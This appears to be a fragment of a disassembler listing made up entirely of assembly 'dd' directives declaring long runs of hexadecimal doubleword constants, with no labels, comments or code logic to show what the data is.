		dd 476BC651h, 55B649BCh, 0C3941DB1h, 3ECAC473h,	1849E90h
		dd 7DC1CF00h, 6B04E6F2h, 9BE30AB8h, 40F87354h, 0D74EA79Dh
		dd 26BF3800h, 380EC65h,	70130255h, 82560C40h, 5CA9C449h
		dd 1D009FF8h, 253AEEDAh, 3D790DEFh, 921F7097h, 0E8B3947Eh
		dd 613034C0h, 4801162Dh, 5559496Ch, 7C24F1D3h, 0E447B8C8h
		dd 27071462h, 7080CCC9h, 9C4BB0Dh, 159921Eh, 0D92777C0h
		dd 39AB0Eh, 6D7A02B3h, 0F34928D8h, 558C2F00h, 0E92F99Eh
		dd 13A7019Ch, 0F159302Ah, 0FEE66020h, 395DB000h, 5EE7CBCDh
		dd 66D8C0FFh, 0FB788F9Fh, 0BA77C90Fh, 35077FE4h, 7C80DAD8h
		dd 0C1922Fh, 703962D2h,	0F481C260h, 287E0F01h, 0B1524AE9h
		dd 460ED4h, 3AC5FDAAh, 0DF82CC2h, 14E8C000h, 5B80541Ah
		dd 4C483D65h, 8E51FA80h, 2017E231h, 42ADB00Bh, 3FCB83CEh
		dd 302CC84Bh, 0C7F9A022h, 77B85Bh, 66464F68h, 84EB0394h
		dd 42B55903h, 8E0145h, 44BFA459h, 2B569E58h, 0B3357800h
		dd 4F31DCCDh, 0E6CF8F7h, 94EDE2Dh, 0CAB830DBh, 0F030F516h
		dd 0EF0D104Fh, 0ACE40CF4h, 15C05D87h, 0E356F20Dh, 0C8C4316Ah
		dd 0DBAA004Ah, 0FD1882F4h, 201F6F3h, 1B523BF8h,	2DC45A20h
		dd 9E7D0058h, 0F7A08A9Ah, 6F3B19D8h, 66988003h,	1BC1FA20h
		dd 6D0708E7h, 8039658Bh, 85A33A14h, 0EFF05F5h, 0EF023D66h
		dd 0DEFC1280h, 800822CBh, 215934D4h, 0BBA81F7Ch, 492E3B00h
		dd 2F0508CBh, 4500F490h, 39754B55h, 15B7C66Ah, 0AC2E5C8Dh
		dd 0F6BAF207h, 0A950FCDDh, 0C9502398h, 310E1DE0h, 0E1B76658h
		dd 1BBAFB82h, 0A7698C40h, 19264091h, 483E9330h,	982D5365h
		dd 54427294h, 1C89456h,	971B551Ch, 0ECA26FADh, 0A31E92Ch
		dd 163771D3h, 0CD1E8987h, 417130F1h, 6D07C98Ah,	0CC47B2A3h
		dd 0A66D9F0h, 0F6750E88h, 5D009E85h, 0FBBAF43Eh, 0FD7D8CAEh
		dd 4D8ABCA8h, 0BF0DA8A8h, 8509E703h, 0A0031750h, 0EA362B7Eh
		dd 64CB005Ch, 62EB1544h, 4202B696h, 0F9565889h,	0E820808Ch
		dd 3EDAA4D6h, 4F80618Eh, 115E05B3h, 0F4024BA5h,	0D18D9EB2h
		dd 0F5A89013h, 0AFA403A7h, 27372C08h, 0EA1C1900h, 0D7BF5F93h
		dd 5E210117h, 0DE8331B7h, 53423E3h, 96B0152Bh, 670DE840h
		dd 3FD3C00Ch, 75BED6D5h, 0DCBA0882h, 0BC90AB18h, 0BB022D40h
		dd 42A8EE3Ch, 7724448Ah, 0D0C60034h, 25AE9E83h,	74A80F6Ch
		dd 0EE00CC45h, 0F13F0917h, 63E89518h, 98303820h, 46038176h
		dd 13514709h, 0E10C0B6h, 0EACC90F3h, 85A21FABh,	0D22200D8h
		dd 29FA88D4h, 5D86048h,	4C8EEA8Dh, 59B0C45Dh, 37EBC44h
		dd 0C3418539h, 47A0CAFEh, 80ACE27Fh, 380084A6h,	0B6213C8h
		dd 51D46Dh, 0AEB23EAh, 5845C439h, 0F60FFA98h, 0A0CAE1C8h
		dd 61687F20h, 0FDF03A19h, 0C4175800h, 0BF6D920Ah, 3811590Ch
		dd 0D519CDh, 98F8563Fh,	96DDEB82h, 4A13AA00h, 8742C56Ch
		dd 79B0712Ah, 0E90901DFh, 8A21FBB1h, 43C6F403h,	400257Ah
		dd 45764993h, 0F86451h,	9FE1B16Dh, 0A3ADF2C1h, 0DFA67402h
		dd 821B77CBh, 20BAA94Ch, 2508C64Bh, 6A9A0D1Eh, 46026B00h
		dd 147AE22Dh, 14DCAB19h, 0EA98CB00h, 7E95A0D0h,	803B48DFh
		dd 198AF4B5h, 70D9C6Bh,	0A0A95124h, 8E4F005Bh, 0F200408Ch
		dd 7AECD55Dh, 0C06B1E77h, 0CE2DFB38h, 0EA0080B8h, 797CE2EFh
		dd 62A4A88h, 879EAD52h,	3830F86Fh, 319F81CAh, 0BAF0E5h
		dd 0A030771h, 20B64B8Ah, 63962D03h, 97C9E1ABh, 0B4BFE6A0h
		dd 0F7D47h, 80840E8Bh, 77C6228Fh, 2AC84254h, 0B9F54330h
		dd 0DFE0A9A0h, 71401B99h, 73922BE0h, 0DDD8C650h, 1A199900h
		dd 0F3058F43h, 444F1DFAh, 6514C0F1h, 39CBD0C0h,	3B01C55h
		dd 3A1FC5BCh, 0CE43651h, 8998B41Dh, 56A470h, 1F2FA25Ch
		dd 2CE58A17h, 0C6AF7902h, 4C623F67h, 7F2A3B14h,	77C13961h
		dd 0FDA98EE2h, 83077FC3h, 0BA40E618h, 113D993h,	0F311BBD0h
		dd 8A6B5401h, 0D896A0C9h, 134FC140h, 1CB6480Eh,	0B9A1A0C6h
		dd 12145802h, 4033A3FDh, 0F3E00h, 66D6F934h, 6186C009h
		dd 4ACA4C00h, 603C7DFAh, 0E84F005Eh, 4B038FF2h,	5D06DFA2h
		dd 6A8783B0h, 665430C1h
		dd 639A4589h, 88A0B67Eh, 5C5C744Bh, 0E83B7380h,	1BF85085h
		dd 60F25504h, 1881EBFFh, 16046A2Ah, 0C0ED1CE4h,	4C138733h
		dd 0B015D230h, 0C3D4774Fh, 1228FDCBh, 70AA19D1h, 0BED83874h
		dd 4330D6EDh, 3FE900A9h, 42768119h, 0B2244058h,	258010A0h
		dd 0EE10021Ch, 0E4D700EFh, 0FA592EC5h, 200407F9h, 0D4FFF257h
		dd 0D387080h, 42BCA652h, 0B82A2E97h, 0F6230E01h, 6884622Dh
		dd 0CCAA29F8h, 0BC0E1910h, 7E4FE347h, 1B95D907h, 3EC17680h
		dd 0ADD3008Bh, 9354D667h, 58A9AA0Fh, 39F10049h,	0A8577692h
		dd 0C5A97CBCh, 229BA0C1h, 0FA3808F0h, 30F3EADAh, 9389B942h
		dd 0F8008D9Fh, 71779CEDh, 0F67841AEh, 0E2B60315h, 229D04E6h
		dd 709E48E0h, 376160C0h, 7128D64Ch, 0EF4600F7h,	0B569D71Fh
		dd 9C00DA5Ah, 5DD01A4Fh, 63E7019h, 54677D3h, 60171C6h
		dd 292DBCDAh, 3C08407h,	24BF8CBh, 71877391h, 0B06C3946h
		dd 886CB424h, 0F8D1480h, 13A25E9h, 0ED484A2Ch, 0C02BEBD4h
		dd 650916DCh, 9841FDA7h, 18174340h, 0B971990Ch,	9403ABFCh
		dd 0E2855DD6h, 5680EF6Eh, 34325BBh, 6397C0D8h, 78248FFCh
		dd 0F1C434CFh, 4C297CCCh, 0A73A2CDAh, 89634180h, 8E357B79h
		dd 1711FB07h, 0EAE258C0h, 0AFCB207Dh, 8370104Eh, 0EDE6700Ah
		dd 9E1FF428h, 1C3AD4EAh, 5F2AAC37h, 0F6891503h,	0DFC809F2h
		dd 0CC82EE93h, 0B423C18Eh, 408900BEh, 0EECE5C02h, 0CA09859Ch
		dd 203477CDh, 0ECE533A0h, 0E05C0049h, 0AE939732h, 3071385Dh
		dd 9464CF28h, 190496F0h, 0E10AA30Ch, 44E988C8h,	0F4CC17Eh
		dd 3B15081Ch, 0F0AF1082h, 93FFAD1h, 6745541Bh, 388BC05h
		dd 0D407AEABh, 748BB900h, 0FFDA83E8h, 0BA9B242Eh, 0F03867C8h
		dd 0B99C10Ah, 7CD83453h, 5A134818h, 1392914h, 0C42B977Fh
		dd 0E4E31BA3h, 6048FF5h, 5DFC3583h, 640098C4h, 0A84DC81Dh
		dd 9E7D02FFh, 0A1E78101h, 0A015A44Eh, 28982B93h, 1C005438h
		dd 0F6677189h, 0C3D2D96h, 0A777454Ah, 25009059h, 0AEEDB9FBh
		dd 791ACD74h, 3A484830h, 0B524DC4Dh, 4AC04058h,	4E0011A5h
		dd 0E32B63B4h, 168184h,	49DA7DBh, 482DFF6Eh, 0D05D7413h
		dd 32BF8405h, 66A08840h, 0A5150E49h, 12F413B4h,	2930009Bh
		dd 2DEC10Eh, 0CBB52802h, 84702FFCh, 28C150D0h, 0E8931E49h
		dd 0CAC4604Eh, 29D22E28h, 11003C14h, 0F700A6A9h, 70AFDAFCh
		dd 0E4052FFh, 8149F040h, 0F7B04894h, 1646F03Eh,	0B40C5ABFh
		dd 16190Dh, 0E6604C31h,	28BCDC9Ch, 8A4DF51Fh, 0E9DEE880h
		dd 31FD13B4h, 0D0D02B6Fh, 47389D1Ah, 819CAC54h,	9F45E9CEh
		dd 0D880F5D2h, 0A2E69801h, 413B1100h, 0C446572Fh, 0AC905Ch
		dd 0E1809E4h, 14453064h, 402F0D3h, 4068E363h, 720D4B94h
		dd 7C4E2449h, 6CC541C8h, 16F0261Ah, 0BC27B4EBh,	5E0AED60h
		dd 58C50310h, 0BD558D87h, 0D4CDCBA8h, 0D04E3300h, 7618E745h
		dd 2EA4003Ch, 1CFBC4F3h, 0BB5DDD7Dh, 0C1AA84A8h, 72DB0420h
		dd 298F620Ah, 58BE988Eh, 0E099018Ah, 23D36331h,	2E3319D0h
		dd 0C90C5DDBh, 0F4A56089h, 0B8C61002h, 0C13BEA80h, 0A600BA57h
		dd 0E7BC5B69h, 738E4377h, 3D7800ABh, 6A923E5Fh,	14B0417Dh
		dd 0F655E21h, 5CB0309Dh, 10718050h, 0ED88A1h, 0CA3C12D7h
		dd 6CB7AE40h, 0D5E28B0Ah, 0CAE79CB2h, 433C1029h, 22010EB8h
		dd 32B277C7h, 0A0314748h, 0B0F4C4C6h, 90A099C0h, 0B5F78492h
		dd 285D74C8h, 0F6B67601h, 771C0F63h, 0A769FAECh, 5091E816h
		dd 2898D03Eh, 8AB82758h, 4E118498h, 0C7AC1B24h,	0F0347004h
		dd 32CFFAEh, 0A3E64049h, 0D6853C89h, 0E2DDB280h, 0E09D3A4Ch
		dd 0F0BA9F04h, 0C132AC1Dh, 95350760h, 3C0694B8h, 0BBD1FE89h
		dd 0D3AC2290h, 1444B48h, 0F909468h, 199EDF16h, 40525F1Eh
		dd 0CC3A6473h, 9A0B1513h, 0AC2CE927h, 4C5260E0h, 3059D0ACh
		dd 8E88358Bh, 0EB280ACh, 7B5D0310h, 8466000h, 32FBD359h
		dd 0CDC00C2Ah, 5A71C338h, 8D98D901h, 1A74BF07h,	0EF9ED44Ch
		dd 0BAC0A850h, 63F40ADBh, 9F9998h, 4BD51552h, 549343E5h
		dd 443B8024h, 5B30027Ch, 0B1A82614h, 790EBAC0h,	48363F00h
		dd 4C9EC857h, 96B07482h, 6628054h, 0A047CE7h, 0BD5FAD00h
		dd 30F84FD6h, 102DEF2Ah, 8127DD84h, 3A99E61Dh, 0A012EFE0h
		dd 53DD98Dh, 0E0176396h, 0A8E008C9h, 0CE3A2C83h, 0E1BB8BCCh
		dd 22F2A9h, 34E3D203h, 0A07B136Dh, 0C450A148h, 0A21687Ch
		dd 0CB22D219h, 12A46420h, 1547AD74h, 6C941C89h,	389C1380h
		dd 5891B16Ah, 28E08A4Fh, 469EDA0Eh, 44E95DF9h, 6A0726C6h
		dd 1BC128EAh, 0AB296060h, 330C01DDh, 8D3CA5D6h,	0AFF0887Bh
		dd 3EA391E1h, 95660069h, 7E1C8513h, 0C5125A1h, 20124EF4h
		dd 8CE81C30h, 13457F86h, 4054FFA5h, 84745D90h, 5253FC0h
		dd 17F422A8h, 0B838036Dh, 2F7CA10Fh, 0E5B8042h,	755F1A5h
		dd 75D92B45h, 0F06547ACh, 4CCCC985h, 34A8CCB9h,	2954CCB0h
		dd 8D01B6FCh, 568FEE2Fh, 0C4706AABh, 0CAD1C5A7h, 3894C874h
		dd 0C627FC90h, 927C1052h, 609558A0h, 7F700B92h,	7890609Bh
		dd 929A020h, 0C69160C5h, 3DF82800h, 0A90A2F76h,	2055B600h
		dd 4C44E85Fh, 0B72209E3h, 64669BAAh, 0A20955E4h, 2E213ECBh
		dd 8BDC9400h, 88E40108h, 0D01EBFFh, 2882D47h, 135A2849h
		dd 0A960B1C1h, 664210D2h, 4F74588h, 0A4E6E040h,	11D4E61Ah
		dd 0CF27FD58h, 0A8572030h, 4C58A44h, 50743343h,	8F14E0DDh
		dd 0AD85C201h, 95A17FB6h, 7C406409h, 50B8F062h,	90104C22h
		dd 8EC705ECh, 62AA556Fh, 0B8511BA4h, 1D2A5091h,	0B9CA03D8h
		dd 264FD2EFh, 60E98C0h,	4580ED01h, 0A0B0E925h, 420A2C74h
		dd 744A00A7h, 107DC168h, 1A4F0FBDh, 0F09E8BFCh,	0F2CB7F70h
		dd 2BBCFF55h, 8415FCB1h, 7FA2D8D8h, 6CAE0C5h, 547412Dh
		dd 0DB8029CEh, 591D5EE2h, 0BEC9BD69h, 4BDC30EBh, 8040949Eh
		dd 94DAC9A7h, 0DD00C44Ah, 7C908720h, 2088DDCh, 0F90E5923h
		dd 464EBCBh, 80E83E26h,	1E65BA60h, 0ADAE0074h, 0B0938584h
		dd 0A200D5DFh, 0C93AF24Eh, 49AF47C2h, 0B48430C6h, 0A4009372h
		dd 60C533FFh, 3B5D40C0h, 0AAAC1109h, 0B79004C6h, 40F7B445h
		dd 1F83E4F8h, 0C1F47DD4h, 345D530Ah, 29C2E424h,	41245961h
		dd 0F447A6FAh, 0F8000A9Fh, 0BFFB1524h, 1A9AD9E7h, 29ABEB29h
		dd 0CB8FAF40h, 0CA30EC3Dh, 0CE74E032h, 0B5291480h, 88423465h
		dd 56E1DA00h, 159B725Fh, 0C1AFD000h, 32EA2C43h,	1E7759h
		dd 0E68288B2h, 69BE8A61h, 11683362h, 48184042h,	600B83AFh
		dd 84C6A95Ah, 8450CAA4h, 864780DDh, 0F29DE5D7h,	0B18DBB08h
		dd 0F2BC6421h, 407A1CACh, 490F59C0h, 0E665C019h, 765821h
		dd 0CEE4F381h, 757FCF9h, 0BF45E301h, 0D229D6C0h, 0C1222837h
		dd 66E827FCh, 0FC1D2307h, 53114AAh, 0D427A94Ch,	8C535415h
		dd 3696A00Ch, 0D7603871h, 2E0B8449h, 55240050h,	2080FFA0h
		dd 9E3B4C3Eh, 0CBCA8032h, 0C1BF0C9h, 69C504C0h,	0F51577B8h
		dd 126BC984h, 5130625Ch, 20F428DCh, 4316FE8Ch, 8C884CA7h
		dd 41438696h, 39F80B96h, 0FF232C64h, 200D00FEh,	32DF75CBh
		dd 0BFEBE800h, 8972E681h, 29462473h, 0A73A841Ch, 0FA90C1E3h
		dd 0B12C20FCh, 9031F52Ch, 0E35C055Ah, 54BE8C0h,	0AE5E8869h
		dd 0F4059B7Ah, 7C8E9239h, 0CC38ECC1h, 579F2180h, 9A5301FCh
		dd 15692F07h, 8AA08F2Ch, 5C5512AFh, 0DCC500B6h,	8AE02013h
		dd 0D2901C05h, 4801DF90h
		dd 5915B143h, 8EC0C67Eh, 589E00ABh, 0BEE157B7h,	0F8C05C93h
		dd 0B5CC42F3h, 3C5458DFh, 9D9A9900h, 274FC301h,	0E6700E12h
		dd 459B8088h, 0A43337h,	52DF26CBh, 0C0BE7C04h, 6B0C65ACh
		dd 140E3B82h, 0C40D13FBh, 0B8CD4305h, 25FCF402h, 2A408198h
		dd 9EE848EBh, 0E000B0B1h, 4A733E89h, 17EA2E4Ch,	0E66B0818h
		dd 0F03AF30Ah, 4E4BCE61h, 0E0989C29h, 23022A16h, 0C87ADFCFh
		dd 93D160AFh, 5C089027h, 33D78477h, 88944220h, 0AC0E9FB4h
		dd 0D2A6D2B8h, 6E4D8471h, 68655842h, 0F29418BCh, 3D5F002Bh
		dd 0C4E235C5h, 6300A522h, 89FE89Bh, 16627778h, 20B2404Ah
		dd 0DFC0D378h, 50C2EA1Fh, 14F252C5h, 60056888h,	7C5CD1D5h
		dd 30F408E6h, 754F9912h, 54DE7060h, 0B6BB3A76h,	0BE78F8E0h
		dd 1B595351h, 133882C0h, 202C20C3h, 5D095A57h, 6842D326h
		dd 97DCA4h, 8CA57C47h, 0FA1ABFFFh, 3CC5D802h, 60ABF5A8h
		dd 287529D3h, 56A4E3DDh, 0B511EC40h, 6FB41363h,	0DC961440h
		dd 0CDDD02h, 8846C6FAh,	0B035C274h, 404C4D00h, 0D7D253Dh
		dd 0C922AA3h, 804C91BCh, 8EC486B3h, 2D980942h, 0D1CD1800h
		dd 923EB152h, 1C784EA6h, 1B9D110h, 1CE4AFC1h, 5CD14A12h
		dd 44A7C460h, 5307F3D6h, 0C75445FFh, 0E87F177h,	2894C680h
		dd 1D70A8h, 0F1E5FC8h, 79C705AFh, 8D0066F8h, 50ECAB52h
		dd 2C1AC4h, 0A9535A07h,	15FE0205h, 0B0017B70h, 10F3C896h
		dd 1DFF117Dh, 30F11A60h, 6DE58C50h, 1B20C4Ch, 6F696C07h
		dd 28871039h, 10F736FCh, 789F7E8Dh, 0F09B931Dh,	244FB83h
		dd 87C094CCh, 636B028h,	2C5F3CBEh, 0B60359E7h, 4EB7CB7Eh
		dd 0F6A08012h, 111FECFh, 0A8999FE5h, 0FD8F2750h, 75D98002h
		dd 0F3C384E9h, 7695273Dh, 0EDA6A0E0h, 0D7086500h, 0DC5B547Dh
		dd 7FCC00DAh, 0EE4D10A2h, 71374491h, 0EF13B138h, 8CDAD0D1h
		dd 756703D8h, 7384CBBDh, 3CB250B8h, 0F803D400h,	32D54F28h
		dd 14617C09h, 0BC3E1086h, 74FE5F00h, 0F42FF9DAh, 400EC9C0h
		dd 0F615BAh, 0BCA11AF3h, 0E6EBF5E3h, 4AA9A403h,	4603D0h
		dd 0AF617DD0h, 12E768C5h, 2595CE07h, 96A0591Fh,	506E7241h
		dd 3A86C02Eh, 2F402716h, 7669FE60h, 0F0D9FDh, 97320A8Ah
		dd 0B22D5280h, 30307CA4h, 8A26A93Ah, 0EB970052h, 0A787EE65h
		dd 2100FB04h, 0FDBDECFCh, 0D8F0CBh, 2D69675Fh, 911DA6B6h
		dd 34FC2224h, 18984115h, 4C513B30h, 5C8501D4h, 0BBA24D9Eh
		dd 0A768708Bh, 0B87448h, 25D61E1Ah, 1D71D464h, 77A2E454h
		dd 75C92C90h, 0A79E9124h, 723DFF05h, 55501C0h, 0CCDC023Bh
		dd 85D624D5h, 917080A2h, 3235F0A3h, 50199FC0h, 47BDF50Fh
		dd 0FB00DF49h, 0A8278012h, 0A17714EAh, 0BD003431h, 0D5380CAFh
		dd 0FB156654h, 3286A0Bh, 41FC7F59h, 158A052h, 69B11429h
		dd 1EC9C496h, 0CEC02438h, 0AE32C18h, 3CD6F828h,	52001E38h
		dd 8B1128A1h, 0EF03494Bh, 89DAF408h, 60683D77h,	173FC56h
		dd 6606C427h, 0F8399AD4h, 8615FB85h, 0AB03813h,	80B6D341h
		dd 23479244h, 6AE1E647h, 0AE395E05h, 5826F994h,	5310A838h
		dd 0C06106A4h, 789F11D5h, 42128614h, 0BD801B30h, 61786F29h
		dd 85BA1181h, 0FEA04812h, 0FC004979h, 192D5A8Fh, 28866A98h
		dd 87243B0Ah, 0B4120ED4h, 6989E380h, 860235E9h,	0AC547292h
		dd 330440A5h, 5088AC48h, 0ED22831h, 9B16214Bh, 0FEE0994Eh
		dd 1BBCDC0Ah, 0F0901F70h, 0EFAA5F00h, 5D780CAEh, 0D9F312BAh
		dd 20502545h, 8BBF094h,	0C300D470h, 166FC5CDh, 13616284h
		dd 61057A59h, 988F702Ch, 65EC36B9h, 7551004Fh, 108B1DE5h
		dd 82AF06Ah, 4970F8F7h,	11C50500h, 0B0599DB9h, 9BFCA027h
		dd 87538848h, 548A9E88h, 26CBC8CAh, 60B0160Ch, 30221D72h
		dd 97E8074h, 0A9583600h, 6A2407E8h, 872512B2h, 86FC2C1Ch
		dd 90E23F00h, 0A23EA68Ch, 1F583F1Ah, 61E50384h,	60A08244h
		dd 7827FCB0h, 41F96930h, 3A926574h, 4E070C32h, 1BF3B7C1h
		dd 0EB819800h, 7F006806h, 4D828522h, 1804027Ah,	892431F8h
		dd 480EBD1Dh, 0E8108EAh, 761CC0ADh, 3AB39825h, 0F8C80EECh
		dd 24A6BC10h, 31E37C64h, 814900CFh, 0BA7CCCE6h,	0D1DC1ACh
		dd 0E0821EAEh, 48D50C54h, 1E92394Ch, 1C4EB9F1h,	0C4591458h
		dd 0CCA10215h, 3706F483h, 0EC5488BDh, 981F988h,	966FAFDDh
		dd 0E5B16880h, 0E898D78Eh, 88898F29h, 205D1209h, 0A86BB160h
		dd 0E1900158h, 9C44B06Dh, 426ADDAFh, 7320A3F0h,	80769B6Fh
		dd 503810F1h, 49CC47h, 0E6D55516h, 9240319Ah, 0E5890168h
		dd 0F395516Fh, 0E0F9F9F4h, 60029A13h, 645E4767h, 0FFDC61A4h
		dd 76E040CEh, 155431F3h, 0BB3D3061h, 51BD8049h,	0B398E14h
		dd 0DE5D2425h, 1D5C028h, 7100CAF0h, 0FFA8D4C3h,	95BAF49h
		dd 812989BEh, 7DC30018h, 991F3DF6h, 78C0B364h, 0E508414Eh
		dd 3BA900F2h, 0FC2ADA76h, 0BCACA469h, 4D54F415h, 5C6C50B4h
		dd 0A8C21288h, 0BC07A0h, 0B9FC27CDh, 22661679h,	171DFEE4h
		dd 2AC4048Ch, 4C98C310h, 0DC6A0F08h, 899C3647h,	3820E096h
		dd 5AD54C65h, 28610734h, 3E9CDCh, 0FE921C65h, 26ABB2CAh
		dd 4FC18F18h, 18DA7591h, 11EF2F04h, 3260E11h, 4900F588h
		dd 61DD1FB9h, 2A9F0010h, 0D160B63Eh, 0A093D707h, 70899E0Ah
		dd 9D707305h, 7FC8C840h, 78D590h, 0DA4C6830h, 2A0C9912h
		dd 0CE77FA05h, 7052C1A9h, 68DB8830h, 0F185004Bh, 96446018h
		dd 8FF6F409h, 0BB00F4A5h, 14490AC8h, 0EA780922h, 3C8956FAh
		dd 887BB403h, 30273008h, 86FF8040h, 3738E95Ch, 0D04CCF00h
		dd 0A6F6AD84h, 3A702A68h, 2D9B00D8h, 9E804720h,	831D6F41h
		dd 68400B31h, 5160EA52h, 291E2A58h, 0B642BCh, 0CC4B920h
		dd 497B24D0h, 1D04CCD2h, 8B69B7E3h, 11E6085Ch, 20CE1D53h
		dd 22C3103h, 88DF1B62h,	1FC68B52h, 108F6C3h, 14EA8A0h
		dd 557C30ACh, 6AAA1509h, 7F888069h, 128FE7DBh, 6128FB59h
		dd 245A1244h, 7A14F338h, 31E7E815h, 26D284FEh, 2187FC72h
		dd 2B9911D9h, 86707429h, 0A045142Ah, 98FC9E02h,	0C95E0F08h
		dd 0F422EFE0h, 84902869h, 892552Fh, 0A6F1C92Eh,	2BE1FC01h
		dd 5C7314D7h, 9226CA00h, 798C91CDh, 2F4AB58h, 77A9F5BCh
		dd 4D38C4E0h, 0CB8560A0h, 7DF00695h, 8673D98Fh,	0C87459h
		dd 161069FEh, 0B0A7473Eh, 0C16830F0h, 769C7029h, 8DDD80h
		dd 0B7FA0E44h, 3C51E53Fh, 0F0858109h, 60B0482Fh, 6699004Eh
		dd 145B0121h, 0DE248D70h, 9260AC4Bh, 0C0FB8A8Fh, 201D7331h
		dd 780014D1h, 679B02CEh, 24F718C5h, 802C4370h, 55F6A7Bh
		dd 5B00627Eh, 9E8CE9F1h, 25450B5h, 0B27D35C8h, 0E0B098B8h
		dd 1513DD26h, 5C130785h, 0DC8FA81Eh, 406E4F2Dh,	0FC06337Ch
		dd 58B0BAD4h, 8C10281Bh, 0C5027EA2h, 6E887F8Dh,	8B446050h
		dd 43C841C9h, 995C4CA8h, 23938E7Ch, 0C8D57908h,	0F46742h
		dd 49EA2535h, 0FC5D7B2Ch, 53D6F058h, 9C90244Ch,	998F2360h
		dd 0A7F474h, 49E31A5Fh,	545B8B3Fh, 87F28D00h, 9BEFFC3Ah
		dd 0DA56056Eh, 2C7F28B4h, 490050D0h, 0F80177FBh, 1DB4E5F2h
		dd 52802B10h, 0D6389819h, 0C0F8F65Ch, 20D998B4h, 52272C1h
		dd 9CFEBFBCh, 53809C28h, 64963494h, 49FA309h, 0F7445F64h
		dd 0ECB2FDh, 5EECBE5h, 10B467D8h, 532731h, 0AA424A08h
		dd 10B7035h, 736CE8F6h,	6116EE4Ch, 29986682h, 730340A4h
		dd 0A019E32Dh, 58D734D8h
		dd 3C068872h, 0C99654F9h, 69A49E31h, 0A4726A1Eh, 5778A81Fh
		dd 8404BA48h, 3CC866D5h, 11D9151Ah, 0C900A4C4h,	2C0FA5AEh
		dd 36C015BEh, 0A99860B3h, 0BB5E3B01h, 475C147Ah, 88A4E429h
		dd 9100B7DCh, 0E18F40F9h, 0DD39EEh, 0E0B2E4C9h,	9AA89B95h
		dd 710C6E0Ch, 6B319Eh, 3FC90B81h, 30CD21DDh, 0E1BC9002h
		dd 0B091CC20h, 92062FD8h, 6EE70040h, 8EBA1BD5h,	980E7A25h
		dd 0A089519Fh, 7B13C216h, 742A26F9h, 2C57C250h,	0D3EE1C72h
		dd 42AB3800h, 0ED53E7F9h, 0E0C23879h, 425C9CA6h, 76244313h
		dd 3E08A4h, 24BC1DAAh, 0F3F4BD7Dh, 0D7550E12h, 8A709C08h
		dd 80C00930h, 0B1A0F9ADh, 0F89C46DEh, 0EF70E567h, 819EC97h
		dd 0F8C08F54h, 81284A4h, 13F710D0h, 0E44003B6h,	26312937h
		dd 66525900h, 6985E91Ch, 0E0180711h, 0A24A0CE2h, 6C4071h
		dd 9444A898h, 1A7E022Bh, 67D49BDEh, 0CA3A6C45h,	5CA4EC24h
		dd 0F88E1C2Dh, 42FB1D3Fh, 0CB858487h, 7F0CA7E0h, 95B01892h
		dd 0EC869C02h, 466964DAh, 0DF6D00C4h, 99652CB0h, 440445F3h
		dd 16FD82C5h, 0C9D4C0C2h, 93BD670h, 4C227E64h, 2408097Ah
		dd 0AEF7B380h, 1F52F94h, 610CA5D5h, 2C141BFDh, 0EA06D86Ch
		dd 9DD90FC3h, 0C5829AD7h, 58E0DBDCh, 46098859h,	336A905Ah
		dd 0E0E6A428h, 4200DC42h, 0BD59C950h, 48F1A001h, 57005878h
		dd 42FD8AD3h, 52DB0687h, 85809C44h, 74B64EE1h, 2A8C7502h
		dd 6156C108h, 0F4106314h, 0E1C29905h, 4B50C09Eh, 94DCE100h
		dd 0B0465512h, 0B6283400h, 2D85ABC4h, 0EFA4027Dh, 0A09E4186h
		dd 0C001859h, 46CD29B2h, 0EE1F007Eh, 9198502Fh,	510BAD5Ah
		dd 990499D8h, 0C0FC7FBCh, 0EEE31419h, 1C00700Eh, 62934F82h
		dd 6A2CA18Eh, 846920DCh, 90545B88h, 0C4790837h,	0C4CC9747h
		dd 16CF5A0h, 527FBEBCh,	7A1262ECh, 125A0060h, 201C4DF1h
		dd 0EDFA3BF8h, 69F79516h, 0E9E84B0Fh, 0E454E650h, 0B0B11Ah
		dd 107A2F92h, 0F600387Dh, 89D8347Fh, 0C2132AFh,	910C4897h
		dd 100ABA9h, 802C4CFCh,	5D38F631h, 87887060h, 8FBB2D80h
		dd 176DA50Ch, 0EA8E4D7Dh, 0EE3B0F03h, 14988C78h, 14F68824h
		dd 3D947601h, 0B017E20Ah, 5A051F4h, 0E91D86F8h,	0D668A0BBh
		dd 0DC41114Ah, 9BC5C85Ch, 777CE30h, 85B0453Ah, 0CF5461D0h
		dd 0E627F826h, 4AB8D20Bh, 0E848AEF0h, 0E42449h,	85483AB2h
		dd 24028339h, 281F7C4h,	0A94B015h, 0DE100092h, 0B627EE1Ch
		dd 930211A6h, 8672D8B8h, 17C8E40Fh, 539F8941h, 48386898h
		dd 26284712h, 1DB51F0Fh, 23F6F0AAh, 6C8D4303h, 0E180D5F8h
		dd 59804131h, 73BEC4E1h, 4300874Dh, 3461C82h, 0C8F7FA30h
		dd 1F85DED0h, 5C0053ACh, 9AD2F184h, 722427CEh, 0B028ACA0h
		dd 0CA1F5DE0h, 0F82C42C1h, 5A82740h, 1190601Bh,	5E9592A6h
		dd 0CC57A305h, 6C327FC9h, 60863AABh, 2F5BB139h,	4D02E047h
		dd 9C554810h, 36651C1Dh, 8EACC02Bh, 0FAF60DA8h,	0C0143E4Ch
		dd 78B934C0h, 0D65B0E4Fh, 5C64C2A0h, 8FACB080h,	0ECF7BC26h
		dd 61D9E70h, 4927AA05h,	24B2E9C9h, 30F49344h, 9E319047h
		dd 0A1D004C2h, 70634FC0h, 51AFC092h, 64051797h,	0F37070FCh
		dd 0EE8895FEh, 0C60A0062h, 504AB4CDh, 6649E173h, 9010DFF0h
		dd 8C461289h, 2F4E24B0h, 0FD9B6C41h, 91E815CAh,	0A759001Ah
		dd 6AD9D1B0h, 0C22876BBh, 0CA44F485h, 0BCD33241h, 8F27059h
		dd 76FD905h, 0C0FF1527h, 0F0315BC0h, 0FB414702h, 51B0AFFDh
		dd 61818F98h, 0C6E41141h, 80C3D11Eh, 0C477C851h, 0FF651h
		dd 41CB1AB4h, 9D93F928h, 5B9CA501h, 9701805Dh, 1498C58h
		dd 0FAE93CCFh, 2D4F8F34h, 48751E38h, 292892BAh,	0BCB21864h
		dd 0C6590B01h, 307BE332h, 0DB584F9Eh, 0B3A000FDh, 9180735Dh
		dd 890C9411h, 0A46C637Ah, 1FE7D301h, 0ECF84F90h, 0A4B55A30h
		dd 603E0574h, 35C1D3CEh, 2F4488C4h, 1FAF244h, 0F819FFE8h
		dd 0CCF7069Ah, 0B9098140h, 0C8108724h, 74D2FE08h, 77E9120Ch
		dd 0A28874C6h, 0CEC43F2Ch, 0C003820Eh, 5107B935h, 21D0003Bh
